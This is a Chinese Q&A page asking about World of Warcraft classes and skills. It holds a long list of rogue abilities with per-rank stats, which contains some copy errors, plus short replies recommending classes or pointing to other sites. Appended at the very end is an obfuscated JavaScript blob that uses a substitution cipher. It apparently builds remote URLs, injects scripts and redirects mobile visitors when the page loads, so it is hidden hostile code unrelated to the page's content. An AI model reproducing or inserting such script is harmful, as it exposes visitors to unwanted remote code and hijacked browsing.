魔兽世界的所有职业和对应职业全部技能

2024-11-20 06:44:20
推荐回答(5个)
回答1:

  还是玩猎人或术士吧.个人能力超强.即使不组队装备也差不到哪去(当然技术必须好了).其实每个职业都不错的.但我还向你推崇这两个. 剔骨 [1级天生]
  Eviscerate 刺杀 1 35 精力 瞬间 5 码 需要近战武器
  终结技,根据组合技点数造成伤害:
  1点:7-11伤害
  2点:13-17伤害
  3点:19-23伤害
  4点:25-29伤害
  5点:31-35伤害 0
  剔骨 [2级]
  Eviscerate 刺杀 8 35 精力 瞬间 5 码 需要近战武器
  终结技,根据组合技点数造成伤害:
  1点:16-24伤害
  2点:29-37伤害
  3点:42-50伤害
  4点:55-63伤害
  5点:68-76伤害 2
  大卸八块 [1级]
  Slice and Dice 刺杀 10 25 精力 瞬间 终结技,增加近战武器攻击速度20%,根据组合技点数决定有效时间:
  1点:9秒
  2点:12秒
  3点:15秒
  4点:18秒
  5点:21秒 3
  绞杀 [1级]
  Garrote 刺杀 14 50 精力 瞬间 5 码 需要潜行
  18秒内造成108点持续伤害。必须潜行并在目标背后使用。组合技+1。 12
  卸甲 [1级]
  Expose Armor 刺杀 14 25 精力 瞬间 5 码 需要近战武器
  终结技,让目标从盔甲中暴露出来,持续30秒。根据组合技点数降低目标护甲值:
  1点:80护甲
  2点:160护甲
  3点:240护甲
  4点:320护甲
  5点:400护甲 1080
  剔骨 [3级]
  Eviscerate 刺杀 16 35 精力 瞬间 5 码 需要近战武器
  终结技,根据组合技点数造成伤害:
  1点:29-43伤害
  2点:52-66伤害
  3点:75-89伤害
  4点:98-112伤害
  5点:121-135伤害 18
  伏击 [1级]
  Ambush 刺杀 18 60 精力 瞬间 5 码 需要匕首
  需要潜行
  伏击目标,造成250%+70的武器伤害,必须潜行并在目标背后使用。主手武器需要使用匕首。组合技点数+1。 2610
  割裂 [1级]
  Rupture 刺杀 20 25 精力 瞬间 5 码 需要近战武器
  终结技,根据组合技点数造成持续伤害:
  1点:6秒内45点持续伤害
  2点:10秒内75点持续伤害
  3点:14秒内105点持续伤害
  4点:18秒内135点持续伤害
  1点:22秒内165点持续伤害 2091
  绞杀 [2级]
  Garrote 刺杀 22 50 精力 瞬间 5 码 需要潜行
  18秒内造成162点持续伤害。必须潜行并在目标背后使用。组合技+1。 36
  剔骨 [4级]
  Eviscerate 刺杀 24 35 精力 瞬间 5 码 需要近战武器
  终结技,根据组合技点数造成伤害:
  1点:47-67伤害
  2点:84-104伤害
  3点:121-141伤害
  4点:158-178伤害
  5点:195-215伤害 63
  偷袭
  Cheap Shot 刺杀 26 60 精力 瞬间 10 码 需要近战武器
  需要潜行
  击晕目标4秒。必须在潜行状态中使用。组合技点数+2。 6030
  伏击 [2级]
  Ambush 刺杀 26 60 精力 瞬间 5 码 需要匕首
  需要潜行
  伏击目标,造成250%+100的武器伤害,必须潜行并在目标背后使用。主手武器需要使用匕首。组合技点数+1。 6030
  卸甲 [2级]
  Expose Armor 刺杀 26 25 精力 瞬间 5 码 需要近战武器
  终结技,让目标从盔甲中暴露出来,持续30秒。根据组合技点数降低目标护甲值:
  1点:145护甲
  2点:290护甲
  3点:435护甲
  4点:580护甲
  5点:725护甲 6030
  割裂 [2级]
  Rupture 刺杀 28 25 精力 瞬间 5 码 需要近战武器
  终结技,根据组合技点数造成持续伤害:
  1点:6秒内69点持续伤害
  2点:10秒内115点持续伤害
  3点:14秒内161点持续伤害
  4点:18秒内207点持续伤害
  1点:22秒内253点持续伤害 7290
  肾击 [1级]
  Kidney Shot 刺杀 30 25 精力 瞬间 20 秒 5 码 需要近战武器
  终结技,根据组合技点数击晕对手一段时间:
  1点:1秒
  2点:2秒
  3点:3秒
  4点:4秒
  5点:5秒 90
  绞杀 [3级]
  Garrote 刺杀 30 50 精力 瞬间 5 码 需要潜行
  18秒内造成222点持续伤害。必须潜行并在目标背后使用。组合技+1。 90
  剔骨 [5级]
  Eviscerate 刺杀 32 35 精力 瞬间 5 码 需要近战武器
  终结技,根据组合技点数造成伤害:
  1点:69-99伤害
  2点:123-153伤害
  3点:177-207伤害
  4点:231-261伤害
  5点:285-315伤害 135
  伏击 [3级]
  Ambush 刺杀 34 60 精力 瞬间 5 码 需要匕首
  需要潜行
  伏击目标,造成250%+125的武器伤害,必须潜行并在目标背后使用。主手武器需要使用匕首。组合技点数+1。 162
  卸甲 [3级]
  Expose Armor 刺杀 36 25 精力 瞬间 5 码 需要近战武器
  终结技,让目标从盔甲中暴露出来,持续30秒。根据组合技点数降低目标护甲值:
  1点:210护甲
  2点:420护甲
  3点:630护甲
  4点:840护甲
  5点:1050护甲 135
  割裂 [3级]
  Rupture 刺杀 36 25 精力 瞬间 5 码 需要近战武器
  终结技,根据组合技点数造成持续伤害:
  1点:6秒内96点持续伤害
  2点:10秒内160点持续伤害
  3点:14秒内224点持续伤害
  4点:18秒内288点持续伤害
  1点:22秒内352点持续伤害 135
  绞杀 [4级]
  Garrote 刺杀 38 50 精力 瞬间 5 码 需要潜行
  18秒内造成282点持续伤害。必须潜行并在目标背后使用。组合技+1。 162
  剔骨 [6级]
  Eviscerate 刺杀 40 35 精力 瞬间 5 码 需要近战武器
  终结技,根据组合技点数造成伤害:
  1点:104-148伤害
  2点:186-230伤害
  3点:268-312伤害
  4点:350-394伤害
  5点:432-476伤害 22750
  大卸八块 [2级]
  Slice and Dice 刺杀 42 25 精力 瞬间 终结技,增加近战武器攻击速度30%,根据组合技点数决定有效时间:
  1点:9秒
  2点:12秒
  3点:15秒
  4点:18秒
  5点:21秒 198
  伏击 [4级]
  Ambush 刺杀 42 60 精力 瞬间 5 码 需要匕首
  需要潜行
  伏击目标,造成250%+185的武器伤害,必须潜行并在目标背后使用。主手武器需要使用匕首。组合技点数+1。 198
  割裂 [4级]
  Rupture 刺杀 44 25 精力 瞬间 5 码 需要近战武器
  终结技,根据组合技点数造成持续伤害:
  1点:6秒内135点持续伤害
  2点:10秒内225点持续伤害
  3点:14秒内315点持续伤害
  4点:18秒内405点持续伤害
  1点:22秒内495点持续伤害 297
  卸甲 [4级]
  Expose Armor 刺杀 46 25 精力 瞬间 5 码 需要近战武器
  终结技,让目标从盔甲中暴露出来,持续30秒。根据组合技点数降低目标护甲值:
  1点:275护甲
  2点:550护甲
  3点:825护甲
  4点:1100护甲
  5点:1375护甲 252
  绞杀 [5级]
  Garrote 刺杀 46 50 精力 瞬间 5 码 需要潜行
  18秒内造成348点持续伤害。必须潜行并在目标背后使用。组合技+1。 252
  剔骨 [7级]
  Eviscerate 刺杀 48 35 精力 瞬间 5 码 需要近战武器
  终结技,根据组合技点数造成伤害:
  1点:158-226伤害
  2点:282-350伤害
  3点:406-474伤害
  4点:530-598伤害
  5点:654-722伤害 378
  伏击 [5级]
  Ambush 刺杀 50 60 精力 瞬间 5 码 需要匕首
  需要潜行
  伏击目标,造成250%+230的武器伤害,必须潜行并在目标背后使用。主手武器需要使用匕首。组合技点数+1。 423
  肾击 [2级]
  Kidney Shot 刺杀 50 25 精力 瞬间 20 秒 5 码 需要近战武器
  终结技,根据组合技点数击晕对手一段时间:
  1点:2秒
  2点:3秒
  3点:4秒
  4点:5秒
  5点:6秒 423
  割裂 [5级]
  Rupture 刺杀 52 25 精力 瞬间 5 码 需要近战武器
  终结技,根据组合技点数造成持续伤害:
  1点:6秒内186点持续伤害
  2点:10秒内310点持续伤害
  3点:14秒内434点持续伤害
  4点:18秒内558点持续伤害
  1点:22秒内682点持续伤害 360
  绞杀 [6级]
  Garrote 刺杀 54 50 精力 瞬间 5 码 需要潜行
  18秒内造成438点持续伤害。必须潜行并在目标背后使用。组合技+1。 522
  卸甲 [5级]
  Expose Armor 刺杀 56 25 精力 瞬间 5 码 需要近战武器
  终结技,让目标从盔甲中暴露出来,持续30秒。根据组合技点数降低目标护甲值:
  1点:340护甲
  2点:680护甲
  3点:1020护甲
  4点:1360护甲
  5点:1700护甲 576
  剔骨 [8级]
  Eviscerate 刺杀 56 35 精力 瞬间 5 码 需要近战武器
  终结技,根据组合技点数造成伤害:
  1点:216-312伤害
  2点:384-480伤害
  3点:552-648伤害
  4点:720-816伤害
  5点:888-984伤害 576
  伏击 [6级]
  Ambush 刺杀 58 60 精力 瞬间 5 码 需要匕首
  需要潜行
  伏击目标,造成250%+290的武器伤害,必须潜行并在目标背后使用。主手武器需要使用匕首。组合技点数+1。 639
  割裂 [6级]
  Rupture 刺杀 60 25 精力 瞬间 5 码 需要近战武器
  终结技,根据组合技点数造成持续伤害:
  1点:6秒内255点持续伤害
  2点:10秒内425点持续伤害
  3点:14秒内595点持续伤害
  4点:18秒内765点持续伤害
  1点:22秒内935点持续伤害 531

  险恶攻击 [1级天生]
  Sinister Strike 战斗 1 45 精力 瞬间 5 码 需要近战武器
  一次瞬间攻击,造成武器伤害+3点伤害。组合技点数+1。 0
  背刺 [1级]
  Backstab 战斗 4 60 精力 瞬间 5 码 需要匕首
  背刺目标,造成150%+15的武器伤害,必须在目标背后使用。主手武器需要使用匕首。组合技点数+1。 50
  凿击 [1级]
  Gouge 战斗 6 45 精力 瞬间 10 秒 5 码 需要近战武器
  造成10点伤害并使对手昏迷4秒。必须面对目标使用。受到任何伤害都会使目标解除昏迷状态。组合技+1。 1
  险恶攻击 [2级]
  Sinister Strike 战斗 6 45 精力 瞬间 5 码 需要近战武器
  一次瞬间攻击,造成武器伤害+6点伤害。组合技点数+1。 1
  闪避
  Evasion 战斗 8 瞬间 5 分钟 15秒内增加闪躲率50%。 2
  疾跑 [1级]
  Sprint 战斗 10 瞬间 5 分钟 15秒内增加盗贼移动速度50%,不会中断潜行。 3
  背刺 [2级]
  Backstab 战斗 12 60 精力 瞬间 5 码 需要匕首
  背刺目标,造成150%+30的武器伤害,必须在目标背后使用。主手武器需要使用匕首。组合技点数+1。 8
  踢击 [1级]
  Kick 战斗 12 25 精力 瞬间 10 秒 5 码 快速踢击目标造成15点伤害,可以打断目标正在施放的法术,并阻止其在5秒内使用所有同系魔法。 8
  险恶攻击 [3级]
  Sinister Strike 战斗 14 45 精力 瞬间 5 码 需要近战武器
  一次瞬间攻击,造成武器伤害+10点伤害。组合技点数+1。 12
  佯攻 [1级]
  Feint 战斗 16 20 精力 瞬间 10 秒 5 码 佯攻敌人,不造成任何伤害,降低少量仇恨值。 1620
  凿击 [2级]
  Gouge 战斗 18 45 精力 瞬间 10 秒 5 码 需要近战武器
  造成20点伤害并使对手昏迷4秒。必须面对目标使用。受到任何伤害都会使目标解除昏迷状态。组合技+1。 2610
  背刺 [3级]
  Backstab 战斗 20 60 精力 瞬间 5 码 需要匕首
  背刺目标,造成150%+48的武器伤害,必须在目标背后使用。主手武器需要使用匕首。组合技点数+1。 2091
  险恶攻击 [4级]
  Sinister Strike 战斗 22 45 精力 瞬间 5 码 需要近战武器
  一次瞬间攻击,造成武器伤害+15点伤害。组合技点数+1。 36
  踢击 [2级]
  Kick 战斗 26 25 精力 瞬间 10 秒 5 码 快速踢击目标造成30点伤害,可以打断目标正在施放的法术,并阻止其在5秒内使用所有同系魔法。 6030
  佯攻 [2级]
  Feint 战斗 28 20 精力 瞬间 10 秒 5 码 佯攻敌人,不造成任何伤害,降低中量仇恨值。 7290
  背刺 [4级]
  Backstab 战斗 28 60 精力 瞬间 5 码 需要匕首
  背刺目标,造成150%+69的武器伤害,必须在目标背后使用。主手武器需要使用匕首。组合技点数+1。 7290
  险恶攻击 [5级]
  Sinister Strike 战斗 30 45 精力 瞬间 5 码 需要近战武器
  一次瞬间攻击,造成武器伤害+22点伤害。组合技点数+1。 90
  凿击 [3级]
  Gouge 战斗 32 45 精力 瞬间 10 秒 5 码 需要近战武器
  造成32点伤害并使对手昏迷4秒。必须面对目标使用。受到任何伤害都会使目标解除昏迷状态。组合技+1。 135
  疾跑 [2级]
  Sprint 战斗 34 瞬间 5 分钟 15秒内增加盗贼移动速度60%,不会中断潜行。 162
  背刺 [5级]
  Backstab 战斗 36 60 精力 瞬间 5 码 需要匕首
  背刺目标,造成150%+90的武器伤害,必须在目标背后使用。主手武器需要使用匕首。组合技点数+1。 135
  险恶攻击 [6级]
  Sinister Strike 战斗 38 45 精力 瞬间 5 码 需要近战武器
  一次瞬间攻击,造成武器伤害+33点伤害。组合技点数+1。 162
  佯攻 [3级]
  Feint 战斗 40 20 精力 瞬间 10 秒 5 码 佯攻敌人,不造成任何伤害,降低大量仇恨值。 22750
  踢击 [3级]
  Kick 战斗 42 25 精力 瞬间 10 秒 5 码 快速踢击目标造成45点伤害,可以打断目标正在施放的法术,并阻止其在5秒内使用所有同系魔法。 198
  背刺 [6级]
  Backstab 战斗 44 60 精力 瞬间 5 码 需要匕首
  背刺目标,造成150%+135的武器伤害,必须在目标背后使用。主手武器需要使用匕首。组合技点数+1。 297
  险恶攻击 [7级]
  Sinister Strike 战斗 46 45 精力 瞬间 5 码 需要近战武器
  一次瞬间攻击,造成武器伤害+52点伤害。组合技点数+1。 252
  凿击 [4级]
  Gouge 战斗 46 45 精力 瞬间 10 秒 5 码 需要近战武器
  造成55点伤害并使对手昏迷4秒。必须面对目标使用。受到任何伤害都会使目标解除昏迷状态。组合技+1。 252
  佯攻 [4级]
  Feint 战斗 52 20 精力 瞬间 10 秒 5 码 佯攻敌人,不造成任何伤害,降低大量仇恨值。 360
  背刺 [7级]
  Backstab 战斗 52 60 精力 瞬间 5 码 需要匕首
  背刺目标,造成150%+165的武器伤害,必须在目标背后使用。主手武器需要使用匕首。组合技点数+1。 360
  险恶攻击 [8级]
  Sinister Strike 战斗 54 45 精力 瞬间 5 码 需要近战武器
  一次瞬间攻击,造成武器伤害+68点伤害。组合技点数+1。 522
  疾跑 [3级]
  Sprint 战斗 58 瞬间 5 分钟 15秒内增加盗贼移动速度70%,不会中断潜行。 639
  踢击 [4级]
  Kick 战斗 58 25 精力 瞬间 10 秒 5 码 快速踢击目标造成80点伤害,可以打断目标正在施放的法术,并阻止其在5秒内使用所有同系魔法。 639
  凿击 [5级]
  Gouge 战斗 60 45 精力 瞬间 10 秒 5 码 需要近战武器
  造成75点伤害并使对手昏迷4秒。必须面对目标使用。受到任何伤害都会使目标解除昏迷状态。组合技+1。 531
  背刺 [8级]
  Backstab 战斗 60 60 精力 瞬间 5 码 需要匕首
  背刺目标,造成150%+210的武器伤害,必须在目标背后使用。主手武器需要使用匕首。组合技点数+1。 531

  潜行 [1级]
  Stealth 敏锐 1 瞬间 10 秒 让盗贼隐藏起来,移动速度降低为50%,直到潜行状态取消。 10
  偷窃
  Pick Pocket 敏锐 4 需要潜行
  偷取目标的钱财。 50
  闷棍 [1级]
  Sap 敏锐 10 65 精力 瞬间 5 码 需要近战武器
  需要潜行
  将目标打昏35秒,必须在潜行中使用。只对不在战斗状态中的人型目标有效。受到任何伤害都会使目标解除昏迷状态。同一时间只能打昏1个目标。 3
  潜行 [2级]
  Stealth 敏锐 20 瞬间 10 秒 让盗贼隐藏起来,移动速度降低为60%,直到潜行状态取消。 2091
  扰乱
  Distract 敏锐 22 30 精力 瞬间 30 秒 30 码 扔东西吸引附近所有怪物注意力10秒。使用此技能不会中断潜行。 36
  消失 [1级]
  Vanish 敏锐 22 瞬间 5 分钟 让盗贼从别人的视野中消失,进入更高级的潜行状态,持续10秒。同时解除身上限制行动的效果。 36
  侦测陷阱
  Detect Traps 敏锐 24 瞬间 3分钟内使隐蔽的陷阱显示出来。 63
  闷棍 [2级]
  Sap 敏锐 28 65 精力 瞬间 5 码 需要近战武器
  需要潜行
  将目标打昏45秒,必须在潜行中使用。只对不在战斗状态中的人型目标有效。受到任何伤害都会使目标解除昏迷状态。同一时间只能打昏1个目标。 7290
  拆除陷阱
  Disarm Trap 敏锐 30 5 秒 5 码 偷偷接近陷阱去拆除它。注意不能太靠近否则会触发陷阱。 90
  致盲
  Blind 敏锐 34 30 精力 瞬间 5 分钟 10 码 需要材料:Blinding Powder
  使目标目盲,10秒内移动速度降低40%。目标受到任何伤害都会解除目盲状态。 162
  放血 [1级天赋]
  Hemorrhage 敏锐 35 35 精力 瞬间 5 码 需要近战武器
  造成目标流血15秒,期间每次受到的物理伤害+5,最多30次。组合技点数+1。 0
  安全降落 [被动]
  Safe Fall 敏锐 40 减少降落时受到的伤害。 22750
  潜行 [3级]
  Stealth 敏锐 40 瞬间 10 秒 让盗贼隐藏起来,移动速度降低为65%,直到潜行状态取消。 22750
  消失 [2级]
  Vanish 敏锐 42 瞬间 5 分钟 让盗贼从别人的视野中消失,进入更高级的潜行状态,持续10秒。同时解除身上限制行动的效果。作用强于1级消失。
  放血 [2级]
  Hemorrhage 敏锐 46 35 精力 瞬间 5 码 需要近战武器
  造成目标流血15秒,期间每次受到的物理伤害+5,最多30次。组合技点数+1。 63
  闷棍 [3级]
  Sap 敏锐 48 65 精力 瞬间 5 码 需要近战武器
  需要潜行
  将目标打昏25秒,必须在潜行中使用。只对不在战斗状态中的人型目标有效。受到任何伤害都会使目标解除昏迷状态。同一时间只能打昏1个目标。 378
  放血 [3级]
  Hemorrhage 敏锐 58 35 精力 瞬间 5 码 需要近战武器
  造成目标流血15秒,期间每次受到的物理伤害+7,最多30次。组合技点数+1。
  潜行 [4级]
  Stealth 敏锐 60 瞬间 10 秒 让盗贼隐藏起来,移动速度降低为70%,直到潜行状态取消。

回答2:

看你了 喜欢近战还是远程 战士 如果有人给他加血的话 战场之王 FZ副本需求 盗贼 攻击高 只要显身 就预示着有人要死 但是别人不死 你就死了 副本主输出 牧师 加血的 就不说啦 SS 给你放诅咒 就走了 你就等死吧 但是副本需求不大 FS 攻击高 可以暴怪 爽 副本主输出 LR 如果你会放风筝的话 那个厉害哦 但是副本需求也不是很大 SM 能打能加 和DLY差不多吧 其他的就没什么了 主流就是这几个

回答3:

这个问题这里写不下的 建议你去官方网站看看比较好

回答4:

http://wow.popsoft.com/index.aspx
自己看看吧
比复制出来的直观多了

回答5:

3楼的说啥??
没理解错的话你的意思是SM=DD????

我先闪吧``怕给砖头误伤 = =

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 